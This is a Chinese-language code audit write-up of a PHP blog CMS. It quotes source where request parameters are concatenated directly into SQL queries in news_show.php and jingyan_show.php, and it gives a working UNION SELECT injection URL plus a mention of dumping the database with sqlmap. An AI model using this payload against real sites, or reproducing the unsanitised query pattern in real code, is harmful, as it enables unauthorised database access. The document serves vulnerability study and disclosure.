
0x00 前言
作为菜鸡做审计,又不想看着大佬们的文章一步一步的跟进漏洞点,所以在CVND找了一套源码,提示在new*_sh*.php存在注入,然后官网下载一个源码直接开刚。。

作者部分借用了Thinkphp框架,但是大部分都是自己原生写法。。。mdaima_var_inc核心类、配置文件、函数等,mdaima_com_admin后台文件,外置的其他文件为前台文件。
0x01 news_show文件SQL注入
根据CVND大佬提示,找到符合提示文件的只有news_show文件,查看代码
<? include_once("./mdaima_var_inc/config_system.php"); $wap_mobile=''; if (isMobile() && $_SESSION["mobile_wap"]!='pc'){ $wap_mobile='true'; include_once("wap/news_show_wap.php"); exit; }
include_once("./mdaima_var_inc/config_system_info.php"); include_once("./mdaima_var_inc/conn.php");
$cid=$_REQUEST["id"]; $page_1=$_REQUEST["page_1"];
if ($_SESSION['blog_lileiuser']!="" && $_REQUEST['see']=='true'){ $pass_str=""; }else{ $pass_str=" and pass='1' "; }
$sql="select * from lei_news where id='".$cid."' ".$pass_str." limit 1 "; $result=$mysqli->query($sql); if($rs=$result->fetch_assoc()){ $title=$rs["title"]; $indate=$rs["indate"]; $laiyuan=$rs["laiyuan"]; $guanjianci=$rs["guanjianci"]; $simgpaths=$rs["simgpaths"]; $hits=$rs["hits"]+1; $message=$rs["message"]; $pass=$rs["pass"]; $pinglun=$rs["pinglun"]; }else{ echo "文章不存在!"; $mysqli->close(); exit; }
$sql="update lei_news set hits='".$hits."' where id='".$cid."' limit 1"; $mysqli->query($sql);
?>
|
可以发现上面一段代码是没有做任何过滤的,看了下作者写的安全函数,只对POST传参方式进行了过滤,但是没有对$_REQUERY和$_GET方式及$_COOKIE进行过滤,所以这里就是一点很典型的注入了。。
漏洞点:http://lilei.com/news_show.php?id=1&page_1=1
|
开启调试模式,查看程序执行的流程
payload: http://lilei.com/news_show.php?id=1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13%23&page_1=1
|
获取传递的参数值,并且由于传参方式未做处理,因此将注入语句全部获取

完整带入数据库并执行

爆出数据库、数据库版本、数据库用户

后续也不在手工,直接sqlmap一把梭了。。。

0x01 jingyan_show文件SQL注入
<? include_once("./mdaima_var_inc/config_system.php"); $wap_mobile=''; if (isMobile() && $_SESSION["mobile_wap"]!='pc'){ $wap_mobile='true'; include_once("wap/jingyan_show_wap.php"); exit; }
include_once("./mdaima_var_inc/config_system_info.php"); include_once("./mdaima_var_inc/conn.php");
$cid=$_REQUEST["id"]; $page_1=$_REQUEST["page_1"];
if ($_SESSION['blog_lileiuser']!="" && $_REQUEST['see']=='true'){ $pass_str=""; }else{ $pass_str=" and pass='1' "; }
$sql="select * from lei_jingyan where id='".$cid."' ".$pass_str." limit 1 "; $result=$mysqli->query($sql); if($rs=$result->fetch_assoc()){ $title=$rs["title"]; $indate=$rs["indate"]; $laiyuan=$rs["laiyuan"]; $guanjianci=$rs["guanjianci"]; $simgpaths=$rs["simgpaths"]; $hits=$rs["hits"]+1; $message=$rs["message"]; $pass=$rs["pass"]; $shipin=$rs["shipin"]; $pinglun=$rs["pinglun"]; }else{ echo "���²����ڣ�"; $mysqli->close(); exit; }
$sql="update lei_jingyan set hits='".$hits."' where id='".$cid."' limit 1"; $mysqli->query($sql);
|
此文件中的漏洞点同news_show文件中的漏洞点一样,还有几个同类型的漏洞点代码如下
sendmail 文件读取